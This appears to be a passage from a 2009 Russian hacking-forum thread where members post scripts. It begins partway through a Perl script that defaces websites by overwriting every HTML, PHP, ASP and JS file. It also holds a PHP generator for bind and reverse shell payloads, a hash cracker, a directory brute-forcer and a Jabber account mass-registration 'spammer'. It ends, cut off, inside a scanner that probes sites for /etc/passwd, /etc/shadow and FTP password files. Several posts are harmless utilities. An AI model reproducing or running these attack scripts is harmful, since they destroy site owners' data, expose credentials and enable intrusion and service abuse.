print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .HTML FILES...\n";
my @html = glob("*.html");
foreach my $deface(@html){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .ASP FILES...\n";
my @asp = glob("*.asp");
foreach my $deface(@asp){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .ASPX FILES...\n";
my @aspx = glob("*.aspx");
foreach my $deface(@aspx){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .HTM FILES...\n";
my @htm = glob("*.htm");
foreach my $deface(@htm){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .JS FILES...\n";
my @js = glob("*.js");
foreach my $deface(@js){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]DEFACING .AC FILES...\n";
my @ac = glob("*.ac");
foreach my $deface(@ac){
open(DEFACE, '>', $deface);
print DEFACE $def || print "[-]Facked up: $!\n";
close(DEFACE)
}
print "[+]Pages Should Be Defaced!\n";

}

Shadow_p1raT
16.03.2009, 17:24
HOSTAL,О_о,ну ты дерзкий....
ИМХО так проще

<?php
if(isset($_POST['g0'])) {
$rus = 'aбвгдеёжзийклмнопрстуфхчш щцъыьэюя';# словрик
$rus = str_split($rus.strtoupper($rus));# Созадём массив+переводим в верхний регистр
$eng = 'abvgdeejziiklmnoprstufhcssc`i\'euy';# англ словарик
$eng = str_split($eng.strtoupper($eng));# тоже самое что и с рус
$text = str_replace($rus,$eng,$_POST['string']);# заменяем
echo $text;
} else {
echo '<form method=post>
<textarea cols=70 rows=20 name="string">
</textarea><br><input name="g0" type=submit value="Затранслитить:)">
</form>';
}
?>

OnArs
16.03.2009, 21:55
Мужики, извините если не в том разделе пишу - нигде не могу найти:
Нужен редактор как в DLE для собственного скрипта - новостника или что-то примерно похожее.

Основные требования - загрузка картинок, bbcode'ы (жирный, курсив и прочее).

Если кто знает где есть - подкиньте пожалуйста - Большое Спасибо! :)

m0Hze
16.03.2009, 23:32
Наврялти ты где то найдеш, даэто все делаеться просто достаточно.
Текстареа,стр_реплайс bb-code,аплоад картинок,с выводом конечной ссылки,вот впринцапе и всо.

Zedi
17.03.2009, 17:32
скрипт бекапа БД, при переходе на него, предлагает скачать файл с дампом, если кодировка соединения и БД не совпадает раскомментируйте 18-19 строку и укажите кодировку базы

<?php

/**
* @author Zedi
* @copyright 2009
*/

$dbhost = 'localhost';
$dbuser = 'root';
$dbpass = '';
$dbname = 'chat';

$connect = mysql_connect($dbhost, $dbuser, $dbpass) or die("Не могу соединиться с MySQL сервером!<br>" .
mysql_error());
$db = mysql_select_db($dbname) or die("Базы данных не существует!<br>" .
mysql_error());

#$sql = "SET NAMES utf8";
#$result = mysql_query($sql, $connect);

$filename = "dump_" . date('Y-m-d_H-i-s_') . rand(0, 100) . $dbname . ".sql";
$ext = "sql";
$mime_type = "'application/octet-stream";
$now = gmdate('D, d M Y H:i:s') . ' GMT';

header('Content-Type: ' . $mime_type);
header('Expires: ' . $now);
header('Content-Disposition: inline; filename="' . $filename . '"');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');

$sql = 'SHOW TABLE STATUS FROM `' . $dbname . "`";
$query = mysql_query($sql, $connect);
$n = mysql_num_rows($query);
$total_size = 0;
$dump = '';
for ($i = 0; $i < $n; $i++)
{
$array_tables = mysql_fetch_array($query);
$tname = $array_tables[0];
$sql_table = "SHOW CREATE TABLE `{$tname}`";
$query_table = mysql_query($sql_table, $connect);
$table = mysql_fetch_array($query_table);
$sql_data = "SELECT * FROM `{$tname}`";
$result = mysql_query($sql_data, $connect);
$c_data = mysql_num_rows($result);
$dump .= $table[1] . ";\n";
if ($c_data)
$dump .= "INSERT INTO `{$tname}` VALUES";

$sql_columns = "SHOW COLUMNS FROM `{$tname}`";
$query_columns = mysql_query($sql_columns, $connect);
$c = mysql_num_rows($query_columns);
$fields = array();
for ($k = 0; $k < $c; $k++)
{
$column = mysql_result($query_columns, $k, 0);
$push = array_push($fields, $column);
}
$p = 0;
for ($g = 0; $g < $c_data; $g++)
{
$z = 0;
$zp = $zk = '';
if ($p)
$zk = ', ';
$dump .= $zk . " \n(";
foreach ($fields as $fild)
{
if ($z)
$zp = ', ';
$dump .= $zp . '\'' . addslashes(mysql_result($result, $g, $fild)) . '\'';
$z++;
}
$dump .= ")";
$p++;
}
if ($c_data)
$dump .= "; \n";
else
$dump .= "\n";

}
echo $dump;
die();
?>

blaga
18.03.2009, 07:31
OnArs http://www.xbb.uz/ имхо даже лучше чем у дле.

OnArs
19.03.2009, 11:21
OnArs http://www.xbb.uz/ имхо даже лучше чем у дле.
Большое спасибо! :rolleyes:


Кто-нибудь встречал скрипты-почтовики, чтобы можно было делать Forwarder email адреса?

На данный момент пользуюсь средствами своего хостера и на создание email такого типа уходит около минуты, т.е. для создания 1000 таких email адресов, уйдёт оочень много времени....

Заранее благодарен! :)

Pashkela
19.03.2009, 20:21
Прилетело сегодня такое сообщение в личку:


Вот имеется такая проблемка
нужно "зашифровать" текст например так:

вводим строку, длинну "блока" иалгоритм по которуму будут "перемешиваться" буквы...


пример:

строка: привет
длинна блока: 4 (т.е. делим строку на блоки по 4 буквы и если в блоке не хватает букв, то дополняется рандомными буквами в данном случаем пусть будет "ос")
алгоритм: 3124

получается: ипрвоетс


Решил, показалось интересным, добавил расшифровку, может кому и пригодиться:


<pre>
<?php
$slov = 'корректно работает со словами по отдельности и текстом в частности'; // Слово для шифрования (или текст)
$bl = 8; // Длина блока, на которые делим слово
$ran = 'бямпуент'; // Мусор, который добавляем, если при делении слова получился кусок меньше длины блока
$key = '38247165'; // Ключ перестановки (в пределах длины блока)
$shifr_slov = encode($slov,$bl,$ran,$key);
echo "Пример шифрования\n";
echo "Слово < $slov >\n";
echo "Зашифрованное слово < $shifr_slov >\n";

function encode($slovo,$blog,$rand,$alg) {
$res2 = str_split($alg);
for ($i=0;$i<count($res2);$i++) $res2[$i]--;
$res = str_split($slovo,$blog);
for ($i=0;$i<count($res);$i++) {
if (strlen($res[$i])<$blog) $res[$i] = $res[$i].$rand;
}
for ($i=0;$i<count($res);$i++) $res1[] = str_split($res[$i]);
for ($i=0;$i<count($res1);$i++) {
for ($j=0;$j<count($res1[0]);$j++) {
$b = $res2[$j];
$hash.=$res1[$i][$b];
}
}
return $hash;
}


###########################################
echo "\n\n\n\n\n";
echo "Пример декодирования\n";

$slov = $shifr_slov; // Слово для расшифровки (или текст)
//$bl = 4; // Длина блока, на которые делим слово
//$ran = 'ос'; // Мусор, который добавляем, если при делении слова получился кусок меньше длины блока
//$key = '3124'; // Ключ перестановки (в пределах длины блока)

echo "Зашифрованное слово < $slov >\n";
echo "Расшифрованное слово < ".decode($slov,$bl,$ran,$key) . " >\n";


function decode($slovo,$blog,$rand,$alg) {
$buff = '';
$res2 = str_split($alg);
for ($i=0;$i<count($res2);$i++) $res2[$i]--;
for ($i=0;$i<count($res2);$i++) {
$c = $res2[$i];
$res3[$c] =$i;
}
$res = str_split($slovo,$blog);
for ($i=0;$i<count($res);$i++) $res1[] = str_split($res[$i]);
for ($i=0;$i<count($res1);$i++) {
for ($j=0;$j<count($res1[0]);$j++) {
$b = $res3[$j];
$hash.=$res1[$i][$b];
}
}
$hash = str_replace($rand,'',$hash);
for ($i=strlen($rand);$i>0;$i--) {
$buff=substr($rand,0,$i);
if (strpos($hash,$buff)) {
$hash = str_replace($buff,'',$hash);
$buff = '';
$i=0;
}
}
return $hash;
}
?>
</pre>


корректно работает со словами по отдельности и текстом в частности (правда при достаточной длине мусора, чтобы было как можно меньше совпадений в мусоре (в слогах) и кодируемом/декодируемом тексте)

т.е. имеет смысл при длине блока и мусора от 4-х единиц

ЗЫЖ Пост подправил, привел более интересный пример, включая совпадения букв мусора с буквами с кодируемом тексте

т.е. то, что выше, превращает

"корректно работает со словами по отдельности и текстом в частности"

в


"рнортккера атооб лтссе оаовмпо итнодь леттси ои свкт емоасчсо нтбеияутпм"


и обратно.

В принципе, не имея длины блока, ключа и мусора - хрен расшифруешь.

ph1l1ster
20.03.2009, 00:15
Shellcode Generator [uNk r.]

<html>
<body>
<style>

body {
background-color: #2b2b2b;
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
color: #B0B0B0;
}

.shellcode {
font-size:10pt;
color: #FFF;
font-weight:normal;
}

.border
{
border: 1px solid #006699;
background-color:#000000;
}
.header
{
background-color:#000000;
}
.content-background
{
background-color:#000000;
}
.text-strong
{
font-weight:bold;
}
.content-border
{
border: 1px solid #006699;
background-color:#1A1A1A;
}
.content-background
{
background-color:#000000;
}
a:link {
color: #006699;
}
a:visited {
color: #006699;
}
a:hover {
color: #CCCCCC;
}
a:active {
color: #CCCCCC;
}
textarea
{
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #006699;
background-color:#161616;
border: #006699 1px solid;
}
input
{
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #006699;
background-color:#161616;
border: #006699 1px solid;
}
select
{
font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px;
color: #006699;
background-color:#161616;
border: #006699 1px solid;
}
</style>
<?PHP
if(isset($_POST['port'])){


function input_match($source, $num, $preg, $preg1)
{
$parts = explode($preg, $source);
$parts = explode($preg1, $parts[$num]);
$var = $parts[0];
return $parts[0];
}

function browse($url)
{
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)");
curl_setopt ($ch, CURLOPT_TIMEOUT, '10');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$store = curl_exec ($ch);
return $store;
}
function glob_match_bind_shell($os)
{
if($os == 'linux_ia32_bind')
{
$glob == "GLOB(0x2b4a01c2fef0)";
}else
if($os == 'bsd_ia32_bind')
{
$glob == "GLOB(0x2b4a01c208a0)";
}else
if($os == 'win32_bind')
{
$glob == "GLOB(0x2b4a01c41e90)";
}
return $glob;
}

function glob_match_rev_shell($os)
{
if($os == 'linux_ia32_reverse')
{
$glob == "GLOB(0x2b4a01c41fb0)";
}else
if($os == 'bsd_ia32_reverse')
{
$glob == "GLOB(0x2b4a01c41d30)";
}else
if($os == 'win32_reverse')
{
$glob == "GLOB(0x2b4a01b95800)";
}
return $glob;
}

function bind_shell($port, $os)
{
$glob = glob_match_bind_shell($os);
$input = browse("http://metasploit.com:55555/PAYLOADS?parent=$glob&MODULE=$os&MODE=GENERATE&OPT_LPORT=".$port."&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload");
$size = input_match($input, 1, "Size=", " ");
$output = input_match($input, 1, "*/", "#");
$type = ucwords(str_replace("_"," ",$os));
echo "<table width='100%' cellspacing=0 border=0 cellpadding=0>
<br><pre>
<div class=shellcode>/* <br> Affix Presents... <br> uNkn0wn's Online Shell Code Generator <br> Port = $port <br> Size = $size <br> Type = $type <br> */ $output </div></table>";
}

function reverse_shell($host, $port, $os)
{
$glob = glob_match_rev_shell($os);
$input = browse("http://metasploit.com:55555/PAYLOADS?parent=$glob&MODULE=$os&MODE=GENERATE&OPT_EXITFUNC=seh&OPT_LHOST=$host&OPT_LPORT=$port&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload");
$size = input_match($input, 1, "Size=", " ");
$output = input_match($input, 1, "*/", "#");
$type = ucwords(str_replace("_"," ",$os));
echo "<table width='100%' cellspacing=0 border=0 cellpadding=0>
<br><pre>
<div class=shellcode>/* <br> Affix Presents... <br> uNkn0wn's Online Shell Code Generator <br> Port = $port <br> Size = $size <br> Type = $type <br> */ $output </div></table>";

}

if(!eregi("_bind", $os))
{
echo reverse_shell($host, $port, $os);
}else{
echo bind_shell($port, $os);
}

}else{
echo '<center>
<table width="33%" height="90" border="0" cellpadding="3" cellspacing="1" class="content-border" id="table3">
<tr>
<td class="content-background">
<div align="center"><center><font face="Trebuchet MS" size=3>
<b>uNkn0wn.ws Online Shellcode Generator!<br />
Affix</b>
</font>
</center>
<br>
<font face="Trebuchet MS" size=2 color=#006699>
<hr>
<form method="POST" action="'.$_SERVER['PHP_SELF'].'">
<table width="100%" cellspacing=0 border=0 cellpadding=0>
Shell Code: <select name="os">
<option value="linux_ia32_bind">Linux IA32 Bind Shell</option>
<option value="linux_ia32_reverse">Linux IA32 Reverse Shell</option>
<option value="bsd_ia32_bind">BSD IA32 Bind</option>
<option value="bsd_ia32_reverse">BSD IA32 Reverse</option>
<option value="win32_bind">Windows[32] Bind</option>
<option value="win32_reverse">Windows[32] Reverse</option>
</select></table>
<table width="100%" cellspacing=0 border=0 cellpadding=0>
Port: <input type="text" name="port" value="8080"></table>
<table width="100%" cellspacing=0 border=0 cellpadding=0>
Reverse IP: <input type="text" name="host" value='.$_SERVER['REMOTE_ADDR'].'></table>
<table width="100%" cellspacing=0 border=0 cellpadding=0>
<input type="submit" name="submit" value="Generate Shell Code!">
</table>';
$port = $_REQUEST['port'];
$host = $_REQUEST['host'];
$os = $_REQUEST['os'];
}
?>
</body>
</html>

faza02
20.03.2009, 15:40
#!/usr/bin/python
#sha1/md5 wordlist brute
#http://sql.parsers.info
#faza02[at]gmail[dot]com



import hashlib


def brutemd():
fil = open(wordlist, 'a+').readlines()
for i in range(len(fil)):
md5 = hashlib.md5(fil[i][:-1]).hexdigest()
if md5 == hash:
print hash + ':' + fil[i][:-1]


def brutesha():
fil = open(wordlist, 'a+').readlines()
for i in range(len(fil)):
sha = hashlib.sha1(fil[i][:-1]).hexdigest()
if sha == hash:
print hash + ':' + fil[i][:-1]


hash = raw_input(u'hash: ')
wordlist = raw_input('wordlist: ')
if len(hash) == 40:
brutesha()
if len(hash) == 32:
brutemd()
ша1/мд5 брут.
(c) faza02

Shadow_p1raT
20.03.2009, 17:06
Вообщем решил сюда тоже запостит,так как темка та уже потерялась а скрипт полезный:-)
Требует модуля php_openssl.

<?php
#########################################
#
# Google Maps Api by Shadow_p1raT
# ICQ#: 9930875
#
#########################################
# #
$email = '1111111@gmail.com'; // Аккунт на гмаил.ком
$pass = '1111111'; // Пароль от акка
$proxy = '127.0.0.1:3130'; // Прокси если надо
$url = 'http://forum.antichat.ru/'; // Урл сайта

# #
echo '<title>Google Maps Api by Shadow_p1raT</title>';
set_time_limit(0);
class gMapKey {

private $email;
private $pass;
private $proxy;
private $url;
private $result;


private function sock_do($action,$method,$header = false,$params = false,$cookie = false,$referer = false)
{
$out = array('http' => array());
$method = strtoupper($method);
if($method == 'GET') {
$action .= !empty($params) ? '?'.$params : '';
$out['http']['method'] = 'GET';

} elseif($method == 'POST') {
$out['http']['method'] = 'POST';
$out['http']['header'] = "Content-type: application/x-www-form-urlencoded\r\n".
"Content-length: ".strlen($params)."\r\n";
$out['http']['content'] = $params;
} else {
die('Йа криветко');
}
if($this->proxy) {
$out['http']['proxy'] = 'tcp://'.$this->proxy;
}
if($cookie) {
$out['http']['header'] .= 'Cookie: '.$cookie."\r\n";
}
if($referer) {
$out['http']['header'] .= 'Referer: '.$referer."\r\n";
}
$out['http']['header'] .= "Connection: close\r\n";
$out['http']['header'] .= "User-Agent: Opera/9.62 (Windows NT 6.0; U; ru) Presto/2.1.1\r\n";

$content = stream_context_create($out);
$result = @file_get_contents($action,false,$content);
$res = array();
$res = array($result);
if($header) {
$res[] = implode("\r\n",$http_response_header);
}
return $res; //Возвращаем ответ + заголовки
}
private function preg_Cookie($cookie)
{
preg_match_all('#Set-cookie: (.*;)#UiS',$cookie,$headers);
return implode(' ',$headers['1']);
}
private function preg_Location($text)
{
preg_match('#Location: (.*)#',$text,$reg);
return trim($reg['1']);
}
private function getnormal ($str)
{
return str_replace ("&amp;", "&", $str);
}
public function setOption($email,$pass,$url,$proxy = '')
{
$this->email = urlencode($email);
$this->pass = urlencode($pass);
$this->url = urlencode($url);
$this->proxy = $proxy;
}
public function parse()
{
if(strstr($this->result,'Your key is'))
{
preg_match('~page_title">(.*)\&copy;2008 Google~sUi',$this->result,$reg);
echo '<html>
<head>
<link href="http://code.google.com/css/codesite.pack.01312008.css" type="text/css" rel="stylesheet"></link>
</head>';
echo $reg[1];
}
else
{
echo '[-] Не удалось получить Google Maps API Key!';
}
}
public function Sign()
{
$res = $this->sock_do('https://www.google.com/accounts/LoginAuth','POST',1,'Email='.$this->email.'&Passwd='.$this->pass.'&PersistentCookie=yes&rmShown=1&signIn=%D0%92%D0%BE%D0%B9%D1%82%D0%B8&asts=');
$cookie = $this->preg_Cookie($res[1]);
$location = $this->preg_Location($res[1]) or die('[-] Неправильный логин или пароль!');
unset($res);
$res = $this->sock_do($location,'GET',1,'',$cookie);
preg_match('/url='(.+?)'/',$res[0],$reg) or die('[-] Произошла ошибка при логине аккунта!');
$location = $this->getnormal($reg[1]);
unset($res);
$res = $this->sock_do($location,'GET',1,'',$cookie);
$cookie = $this->preg_Cookie($res[1]);
unset($res);
$res = $this->sock_do('http://maps.google.com/maps/api_signup?url='.$this->url,'GET',1,'',$cookie);
$this->result = $res[0];
unset($res);
}
}
$gmk = new gMapKey();
$gmk->setOption($email,$pass,$url,$proxy);
$gmk->Sign();
$gmk->parse();
?>

Форум порезал некоторые регулярки)
Качаем

faza02
21.03.2009, 15:12
#!/usr/bin/python
#header dirs scan
#http://sql.parsers.info/
#faza02[at]gmail[dot]com

import urllib

def scan():
print ' ____________________________ '
print ' / /\ '
print ' / _/ /\ '
print ' / by faza02 / \/ '
print ' / /\ '
print '/___________________________/ / '
print '\___________________________\/ '
print ' \ \ \ \ \ \ \ \ \ \ \ \ \ \ \ '

good = [100, 101, 200, 201,202, 203,204,205, 206, 300, 301, 302, 303, 304, 305]

site = raw_input(u'\nsite: ')
dirlist = raw_input(u'dirs: ')

fileopen = open(dirlist, 'a+').readlines()
for i in range(len(fileopen)):
state = urllib.urlopen('http://' + site + fileopen[i][:-1]).getcode()
if state in good:
print fileopen[i][:-1] + ' - ' + str(state)
open('c:/' + site + '_log.txt', 'a+').write(fileopen[i][:-1] + ' - ' + str(state) + '\n')

scan()
print '\nok!'
сканер директорий, доволбно быстрый.
все логи хранит в c:/[site]_log.txt
http://sql.parsers.info/list.txt - неплохой словарь.

imajo.ati
21.03.2009, 17:51
<?php

######################################## #######################################
#
# показывает, во сколько раз различаются скорости 2х кусков кода
# полезно для оптимизации
# настройки:

$tests = 5; # количество тестов для среднего арифметического
$calc = 50; # количество измерений за 1 тест
$repeat = 500; # количество повторов(подряд) кода за 1 измерение

# если используется ~ быстрый код, цифры нужно увеличить ( > )
# если используется медленный код, цифры нужно уменьшить ( < )
#
######################################## #######################################

echo "BEGIN TEST\n\n";

$tests = abs( (int)$tests );
$calc = abs( (int)$calc );
$repeat = abs( (int)$repeat );
$control = calc_control( $repeat );
$cnt = $tests * $calc;
$c = 0;
$result = 0;

if ( $tests === 0 || $cnt === 0 ) end_test( "FATAL ERROR" );

for ( $i = 0; $i < $tests; ++$i ) $result += test();
$result = round( $result / $tests , 2 );

if ( $result > 0 ) end_test( "1 faster x{$result}" );
else if ( $result < 0 ) end_test( "2 faster x" . (-$result) );
else end_test( "~ identical" );

######################################## #######################################

function end_test( $text )
{
echo "\n\n {$text}\n\nEND TEST\nPress ENTER";
die( fgets(STDIN) );
}
//eof

function calc_control( $repeat )
{
$avg = 0;
$cnt = 5;
for ( $i = 0; $i < $cnt; ++$i )
{
$time_s = microtime(1);
for ( $o = 0; $o < $repeat; ++$o ) {}
$time_f = microtime(1);
$avg += $time_f - $time_s;
}
return( $avg/$cnt );
}

function test()
{
global $calc, $repeat, $control, $cnt, $c;
$f1 = 0;
$f2 = 0;
$result = 0;
for ( $i = 0; $i < $calc; ++$i )
{
$time_s = microtime(1); for ( $o = 0; $o < $repeat; ++$o ) {}
$time_f = microtime(1); 10000 * ( $time_f - $time_s - $control );

$time_s = microtime(1);
for ( $o = 0; $o < $repeat; ++$o )
{






# код 1
microtime();






}
$time_f = microtime(1);
$timer1 = 10000 * ( $time_f - $time_s - $control );

$time_s = microtime(1); for ( $o = 0; $o < $repeat; ++$o ) {}
$time_f = microtime(1); 10000 * ( $time_f - $time_s - $control );

$time_s = microtime(1);
for ( $o = 0; $o < $repeat; ++$o )
{






# код 2
microtime(1);






}
$time_f = microtime(1);
$timer2 = 10000 * ( $time_f - $time_s - $control );

$c++; $complete = round( ($c/$cnt) * 100 );
echo "\r complete: {$complete}%";

if ( round( $timer1 , 5 ) === round( $timer2 , 5 ) )
{
end_test("absolute identical");
}
else if ( $timer2 > $timer1 ) // 1 faster
{
++$f1;
$result += $timer2 / $timer1;
}
else if ( $timer1 > $timer2 ) // 2 faster
{
++$f2;
$result += $timer1 / $timer2;
}
}
usleep(100000);
$result /= $calc;
if ( $f1>0 && $f2>0 ) return 0;
else if ( $f1 > 0 ) return $result;
else return -$result;
}
//eof

######################################## #######################################

?>

art2222
23.03.2009, 19:42
Получаем первую цитату из топа бездны башорга

<?php
$text = file_get_contents('http://bash.org.ru/abysstop');
preg_match('#<div>(.+)</div>#U',$text,$fraza);
echo '<p>',$fraza[0],'</p>';
?>

eLWAux
24.03.2009, 23:52
автореггер jid'ов на xim.ca
автор: eLwaux
perl:#! /usr/bin/perl -w

use IO::Socket;
use warnings;
use threads;
use threads::shared;
use Fcntl ':flock';

#================================================= ===============================
#================================================= ===============================

my $EMAIL = '';

my $names = 'names.txt';
my $threads = shift || 15;

my $DEBUG = 0;

#================================================= ===============================
#================================================= ===============================

sub s2f {
open(FILE, '>>'.$_[0]) || die(" [-] could not save file!\n");
flock(FILE, LOCK_EX);
print FILE $_[1];
flock(FILE, LOCK_UN);
close(FILE);
}

sub generate_random_string
{
my $length_of_randomstring=shift;# the length of
# the random string to generate

my @chars=('a'..'z','A'..'Z','0'..'9','_');
my $random_string;
foreach (1..$length_of_randomstring)
{
$random_string.=$chars[rand @chars];
}
return $random_string;
}

#========================
#== start.. =============
#================================================= ===============================

open (FILE, '<'.$names) || die(" [-] ".$names." not found!\n");
my @NAMES : shared = <FILE>;
chomp(@NAMES);
close(FILE);

if ($DEBUG == 1) {s2f('DEBUG',"=======\n\n\n");}
print "\n ] xim.ja NAMES spammer\n";
print " ] eLwaux(c)2009\n\n";
print " ] reg: ".(scalar(@NAMES))." accs\n\n";

$time = time;
printf " [ ] started [".localtime()."]\n\n";
print " ".("-"x40)."\n";

for(0..$threads) {$trl[$_] = threads->create(\&Spam, $_);}
for(@trl) { $_->join; }

print " ".("-"x40)."\n";
$time = time-$time;
printf "\n [ ] finished [".localtime()."]\n";
printf " [i] time elapsed: $time sec\n";

<stdin>;
exit;

sub Spam{

while(@NAMES)
{
{lock(@NAMES);
$NAMES = shift @NAMES;}

my $PASSWORD = generate_random_string(int(rand(20)+10));

my $post = '';
my $header = "POST http://xim.ca:9090/plugins/registration/sign-up.jsp?username=".$NAMES."&name=".$NAMES."&email=&password=".$PASSWORD."&passwordConfirm=".$PASSWORD."&create=Create+Account
HTTP/1.1\r\n".
"Host: xim.ca:9090\r\n".
"User-Agent: HeMa\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"Connection: Close\r\n".
"Referer: Referer: http://xim.ca:9090/plugins/registration/sign-up.jsp?success=true\r\n".
"Cookie: JSESSIONID=jejejejejeje\r\n".
"Content-Length: ".length($post)."\r\n\r\n".
"$post\r\n\r\n";
my $sock = sock();
print $sock $header;
read($sock,my $answ,10000);
close($sock);

if ($DEBUG == 1) {s2f('DEBUG',$answ);}


if ($answ =~ /sign.up.user_exist/) {
print " [-] ".$NAMES."\n";
}
else {
print " [+] ".$NAMES.':'.$PASSWORD."\n";
s2f('result',$NAMES.'@xim.ca : '.$PASSWORD."\n");
}

}
}






#================================================= ============================
#================================================= ============================


#create new socket connection
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => 'xim.ca',
PeerPort => 9090,
PeerProto => 'tcp',
TimeOut => 10
) or print "[-] connection error!";
} while (!$sock);
return $sock;
}

#================================================= ============================
#================================================= ============================

ph1l1ster
25.03.2009, 15:57
простенький Include path Scanner, мало путей, позже добавлю больше.

#!/usr/bin/perl
use LWP::UserAgent;
system('cls');
print qq(
###########################
# Include path Scanner #
# coded by ph1l1ster #
###########################
);
print "\n\n\nPlease enter site adress.\n";
print "e.g.: http://google.com/?id=\n\n";
print "> ";
$site = <STDIN>;
chomp($site);

@patchs = ('/etc/passwd','/etc/shadow','/etc/group','/etc/security/group','/etc/security/passwd','/etc/security/user','/etc/security/environ','/etc/security/limits','/etc/ftpchroot',
'/etc/ftphosts','/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts',
'/etc/wu-ftpd/ftpusers','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf',
'/etc/proftpd/modules.conf','/etc/mysql/my.cnf','/etc/my.cnf','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/httpd/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini',
'/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/etc/php.ini','/etc/logrotate.d/proftpd','/etc/apache/conf/httpd.conf','/etc/apache2/conf/httpd.conf','/etc/httpd/conf/httpd.conf',
'/etc/http/conf/httpd.conf','/etc/apache2/httpd.conf','/etc/httpd/httpd.conf','/etc/http/httpd.conf','/etc/logrotate.d/ftp','/etc/httpd.conf','/etc/httpd/conf/httpd.conf','/etc/apache/conf/httpd.conf','/etc/apache2/httpd.conf',
'/etc/httpd/logs/acces_log','/etc/httpd/logs/acces.log','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','/etc/pure-ftpd/pure-ftpd.conf',
'/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log',
'/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log','/logs/error.log','/logs/access.log',
'/logs/error.log','/logs/access.log','/apache/logs/access.log','/logs/pure-ftpd.log',
'/usr/local/apache/logs/access_ log','/usr/local/apache/logs/access. log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache/logs/access_log',
'/usr/local/apache/logs/access.log','/usr/local/apache/logs/error_log','/usr/local/apache/logs/error.log','/usr/local/apache2/logs/access_log','/usr/local/apache2/logs/access.log',
'/usr/local/apache2/logs/error_log','/usr/local/apache2/logs/error.log','/usr/local/apache/logs/access_log','/usr/local/apache/logs/access.log','/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log','/usr/local/apache/conf/httpd.conf','/usr/local/apache2/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf','/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf','/usr/local/apache/httpd.conf','/usr/local/apache2/httpd.conf','/usr/local/httpd/conf/httpd.conf','/usr/local/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache2/conf/httpd.conf','/usr/local/etc/httpd/conf/httpd.conf','/usr/apache2/conf/httpd.conf','/usr/apache/conf/httpd.conf','/usr/local/apps/apache2/conf/httpd.conf',
'/usr/local/apps/apache/conf/httpd.conf','/usr/local/php/httpd.conf.php','/usr/local/php4/httpd.conf.php','/usr/local/php5/httpd.conf.php','/usr/local/php/httpd.conf',
'/usr/local/php4/httpd.conf','/usr/local/php5/httpd.conf','/usr/lib/php.ini','/usr/lib/php/php.ini','/usr/local/etc/php.ini',
'/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini',
'/usr/local/etc/apache/vhosts.conf','/usr/local/Zend/etc/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log',
'/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/usr/local/cpanel/logs/stats_log','/usr/sbin/pure-config.pl',
'/usr/etc/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl',
'/usr/local/pureftpd/etc/pure-ftpd.conf','/usr/ports/ftp/pure-ftpd/','/usr/ports/net/pure-ftpd/','/usr/pkgsrc/net/pureftpd/','/usr/ports/contrib/pure-ftpd/',
'/var/www/logs/access_log','/var/www/logs/access.log','/var/log/apache/access_log','/var/log/apache2/access_log','/var/log/apache/access.log','/var/log/apache2/access.log',
'/var/log/access_log','/var/log/access.log','/var/www/logs/error_log','/var/www/logs/error.log','/var/log/apache/error_log',
'/var/log/apache2/error_log','/var/log/apache/error.log','/var/log/apache2/error.log','/var/log/error_log','/var/log/error.log',
